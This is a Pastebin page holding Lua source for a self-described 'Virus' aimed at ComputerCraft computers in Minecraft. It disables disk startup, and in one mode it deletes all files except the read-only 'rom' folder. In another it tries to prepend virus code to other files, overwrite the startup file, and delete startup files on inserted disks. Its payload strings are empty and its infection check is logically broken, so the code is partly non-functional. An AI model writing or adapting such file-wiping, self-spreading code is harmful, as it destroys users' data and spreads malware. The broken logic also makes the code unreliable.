Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --BY PIT_ANONIM
- runmode = 2
- local viruscode =[[
- ]]
- local firststring = 'print("You do not have permission to run this program")'
- local startupcode = [==[
- ]==]
- local virusname = 'Virus'
- dir = ""
- local FileList = fs.list(dir)
- local maskmode = 0
- local mask =[[
- ]]
- settings.set("shell.allow_disk_startup", false)
- settings.save(".settings")
- local eventone = os.pullEvent()
- local function mainfunc()
- if runmode == 1 then
- for _,file in ipairs (FileList) do
- if file ~= nil and file ~= "rom" then
- fs.delete(file)
- end
- end
- elseif runmode == 2 then
- for _,file in ipairs (FileList) do
- if not file == "rom/" and file == "disk/" and file == ".settings" and fs.isDir(file) then
- if file ~= virusname then
- local nonvirusfile = fs.open(dir ..file, "r")
- local pr = nonvirusfile.readLine()
- local text = nonvirusfile.readAll()
- nonvirusfile.close()
- if pr ~= firststring and file ~= virusname and file ~= "startup" then
- local virusfile = fs.open(dir ..file, "w")
- virusfile.writeLine(viruscode)
- virusfile.writeLine(text)
- virusfile.close()
- end
- elseif file == virusname then
- local nonvirusfile = fs.open(dir ..file, "r")
- local text = nonvirusfile.readAll()
- nonvirusfile.close()
- local virusfile = fs.open("startup", "w")
- virusfile.writeLine(startupcode)
- virusfile.close()
- end
- end
- sleep(0)
- end
- end
- end
- function eee()
- while true do
- while side ~= 1 do
- sleep(0)
- if disk.isPresent("bottom") or disk.isPresent("right") or disk.isPresent("left") or disk.isPresent("front") or disk.isPresent("top") then
- side = 1
- else
- side = nil
- end
- end
- if side == 1 then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- end
- end
- sleep(0)
- end
- end
- parallel.waitForAny(mainfunc, eee)
- if maskmode == 1 then
- assert(loadstring(mask))()
- end
Advertisement
Add Comment
Please, Sign In to add comment